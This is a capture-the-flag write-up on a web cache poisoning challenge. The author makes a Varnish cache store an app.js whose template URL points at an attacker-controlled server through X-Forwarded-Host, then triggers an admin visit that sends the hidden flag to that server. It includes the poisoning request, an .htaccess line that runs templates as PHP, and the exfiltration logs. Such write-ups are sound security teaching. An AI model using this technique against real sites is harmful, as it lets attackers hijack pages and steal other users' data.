Tags: cache-poisoning web 

Rating:

# ▼▼▼Hacker Movie Club(Web:200、71/1448=4.9%)▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**

```
Hacker movies are very popular, so we needed a site that we can scale. You better get started though, there are a lot of movies to watch.

Author: itszn (ret2 systems)

http://app.hm.vulnerable.services/
```

---

## 【Understanding of functions】

・Movie list is displayed

・There is a function of sending to admin

Perhaps it seems to be an `XSS` problem...(However, the prediction was out ...)

Confirm sending request to admin

```
POST /api/report HTTP/1.1
Host: app.hm.vulnerable.services
Content-Length: 325

{"token":"03AL4dnxr9esKJKJcPhsOjOc-T4d_sxOFYSuKLx3DU0Hvhcmcg4ZfKZg20iPLVU9HvnLEWKucHGajNEyJdGDbMuvNpa6W99QjvFZrpdpEtEs4xb1BsV0efch4selm1-okTShY-OBM4lvo5n3ydmu7-w6V1RBcUCIjTkD_RX_GLAj5HlBIKnWEvJBNzZKFW1IX1GMAU6wmf9jFOgm22F0QmLNxBZz9f1tWqsSDV8HfPPfYiXo5FtWV6eegYF7-oragWuNxCJX4hIVmzyywXKng08nuZqBAwBie_dqNTCxCNJCFXcrRC_cJouiI"}
```

```
HTTP/1.1 200 OK
Server: gunicorn/19.9.0
Date: Tue, 18 Sep 2018 10:24:16 GMT
Content-Type: application/json
Content-Length: 17
Cache-Control: no-cache
X-Varnish: 142297032
Age: 0
Via: 1.1 varnish-v4
Accept-Ranges: bytes
Connection: close

{"success":true}
```

I can not send comments etc to admin, it seems just to contact...

What is the problem to report to admin outside XSS (there is a need for **passive attack**) !?

If **passive attack** and **going to check a specific place by admin** are necessary, it can be guessed as `Stored XSS` or `Cache poisoning` by inserting at a place other than the parameter

---

## 【Investigate the location of flag】

```
GET /api/movies HTTP/1.1
Host: app.hm.vulnerable.services
```

```
HTTP/1.1 200 OK
Server: gunicorn/19.9.0
Date: Tue, 18 Sep 2018 10:35:34 GMT
Content-Type: application/json
Content-Length: 1386
Cache-Control: no-cache
X-Varnish: 158271733
Age: 0
Via: 1.1 varnish-v4
Accept-Ranges: bytes
Connection: keep-alive

{"admin":false,"movies":[{"admin_only":false,"length":"1 Hour, 54 Minutes","name":"WarGames","year":1983},{"admin_only":false,"length":"0 Hours, 31 Minutes","name":"Kung Fury","year":2015},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"Sneakers","year":1992},{"admin_only":false,"length":"1 Hour, 39 Minutes","name":"Swordfish","year":2001},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"The Karate Kid","year":1984},{"admin_only":false,"length":"1 Hour, 23 Minutes","name":"Ghost in the Shell","year":1995},{"admin_only":false,"length":"5 Hours, 16 Minutes","name":"Serial Experiments Lain","year":1998},{"admin_only":false,"length":"2 Hours, 16 Minutes","name":"The Matrix","year":1999},{"admin_only":false,"length":"1 Hour, 57 Minutes","name":"Blade Runner","year":1982},{"admin_only":false,"length":"2 Hours, 43 Minutes","name":"Blade Runner 2049","year":2017},{"admin_only":false,"length":"1 Hour, 47 Minutes","name":"Hackers","year":1995},{"admin_only":false,"length":"1 Hour, 36 Minutes","name":"TRON","year":1982},{"admin_only":false,"length":"2 Hours, 5 Minutes","name":"Tron: Legacy","year":2010},{"admin_only":false,"length":"2 Hours, 25 Minutes","name":"Minority Report","year":2002},{"admin_only":false,"length":"2 Hours, 37 Minutes","name":"eXistenZ","year":1999},{"admin_only":true,"length":"22 Hours, 17 Minutes","name":"[REDACTED]","year":2018}]}
```

There is only one `"admin_only":true` data(This seems to be a `flag`)

---

## 【Identify the vulnerability】

Search for parts that can be persistently reflected in the response or where the Host header can be changed in places other than Host and URL

In the request below, I found a custom header `X-Forwarded-Host`

```
GET /cdn/app.js HTTP/1.1
Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services
X-Forwarded-Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services
```

```
HTTP/1.1 200 OK
Server: gunicorn/19.9.0
Date: Tue, 18 Sep 2018 10:39:02 GMT
Content-Type: application/javascript
Content-Length: 1631
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, OPTIONS, GET
Access-Control-Max-Age: 21600
Access-Control-Allow-Headers: X-Forwarded-Host
X-Varnish: 158271761 142298704
Age: 9
Via: 1.1 varnish-v4
Accept-Ranges: bytes
Connection: keep-alive

var token = null;

Promise.all([
fetch('/api/movies').then(r=>r.json()),
fetch(`//0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),
new Promise((resolve) => {
if (window.loaded_recapcha === true)
return resolve();
window.loaded_recapcha = resolve;
}),
new Promise((resolve) => {
if (window.loaded_mustache === true)
return resolve();
window.loaded_mustache = resolve;
})
]).then(([user, view])=>{
document.getElementById('content').innerHTML = Mustache.render(view,user);

grecaptcha.render(document.getElementById("captcha"), {
sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
theme: 'dark',
callback: t=> {
token = t;
document.getElementById('report').disabled = false;
}
});
let hidden = true;
document.getElementById('report').onclick = () => {
if (hidden) {
document.getElementById("captcha").parentElement.style.display='block';
document.getElementById('report').disabled = true;
hidden = false;
return;
}
fetch('/api/report',{
method: 'POST',
body: JSON.stringify({token:token})
}).then(r=>r.json()).then(j=>{
if (j.success) {
// The admin is on her way to check the page
alert("Neo... nobody has ever done this before.");
alert("That's why it's going to work.");
} else {
alert("Dodge this.");
}
});
}
});
```

---

## 【Try1:Tampering with X-Forwarded-Host】

Because the response is long, I used BurpSuite's compare function

![](http://raw.githubusercontent.com/kazkiti/CTF-image/master/CSAW2018_compare.png)

`Age` header and `X-Varnish` header have changed.

But, the value of `X-Forwarded-Host` was not reflected...

The value of the `Age` header is the elapsed time of cache data. Unit is seconds

`X-Varnish`(https://varnish-cache.org/docs/2.1/faq/http.html)

`X-Varnish` will contain both the `ID of the current request` and the `ID of the request that populated the cach`

As I can see from `X-Varnish: 158271761 142298704`, I can see that the **cache is used** because there are **two IDs** in the `X-Varnish` header

Because it affects other CTF users, it can be inferred that the cache validity period is probably short.

---

```
GET /cdn/app.js HTTP/1.1
Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services
X-Forwarded-Host: example.com
```

Even if I send a request while pushing it manually in BurpSuite, since the desired cache does not hit.

I confirmed it by continuously sending it with Inturder.

![](http://raw.githubusercontent.com/kazkiti/CTF-image/master/CSAW2018_Intruder.png)

fetch(`//example.com/cdn/main.mst`).then(r=>r.text()),

The validity period of the cache is `120 seconds`, and it was confirmed that the value of `X-Forworded-for` is reflected there

`Cache poisoning attack` is possible!!

---

## 【Create Payload】

First, check `/cdn/main.mst`

```
GET /cdn/main.mst HTTP/1.1
Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services
```

```
HTTP/1.1 200 OK
Server: gunicorn/19.9.0
Date: Tue, 18 Sep 2018 11:48:26 GMT
Content-Length: 523
Content-Type: application/octet-stream
Last-Modified: Fri, 14 Sep 2018 03:54:50 GMT
Cache-Control: public, max-age=43200
Expires: Tue, 18 Sep 2018 23:48:26 GMT
ETag: "1536897290.0-523-1486424030"
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, OPTIONS, GET
Access-Control-Max-Age: 21600
Access-Control-Allow-Headers: X-Forwarded-Host
X-Varnish: 157809929 157809927
Age: 5
Via: 1.1 varnish-v4
Accept-Ranges: bytes
Connection: keep-alive

<div class="header">
Hacker Movie Club
</div>

{{#admin}}
<div class="header admin">
Welcome to the desert of the real.
</div>
{{/admin}}

<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
{{^admin_only}}
<tr>
<td>{{ name }}</td>
<td>{{ year }}</td>
<td>{{ length }}</td>
</tr>
{{/admin_only}}
{{/movies}}
</tbody>
</table>

<div class="captcha">
<div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
```

Using Template!!

---

```
GET /cdn/mustache.min.js HTTP/1.1
Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services
```

I found that this site uses a **template engine** named `mustache.js` (https://github.com/janl/mustache.js/)

Understand template grammar

---

## 【exploit】

It placed in `//my_server/cdn/main.mst`

```


```

---

It placed in `//my_server/cdn/.htaccess`

```
AddType application/x-httpd-php .php .mst
```

---

Continuously send the following request with Intruder

```
GET /cdn/app.js HTTP/1.1
Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services
X-Forwarded-Host: my_server
```

When `//my_server` is reflected in the response(Cash was used), submit a report to admin

---

A request was sent to `//my_server`

```
216.165.2.32 - - [18/Sep/2018:13:15:02 +0000] "GET /cdn/main.mst HTTP/1.1" 200 73
216.165.2.32 - - [18/Sep/2018:13:15:03 +0000] "GET /?c=WarGamesKung%20FurySneakersSwordfishThe%20Karate%20KidGhost%20in%20the%20ShellSerial%20Experiments%20LainThe%20MatrixBlade%20RunnerBlade%20Runner%202049HackersTRONTron:%20LegacyMinority%20ReporteXistenZflag{I_h0pe_you_w4tch3d_a11_th3_m0v1es} HTTP/1.1" 200 2261
```

```
WarGamesKung FurySneakersSwordfishThe Karate KidGhost in the ShellSerial Experiments LainThe MatrixBlade RunnerBlade Runner 2049HackersTRONTron: LegacyMinority ReporteXistenZflag{I_h0pe_you_w4tch3d_a11_th3_m0v1es}
```

`flag{I_h0pe_you_w4tch3d_a11_th3_m0v1es}`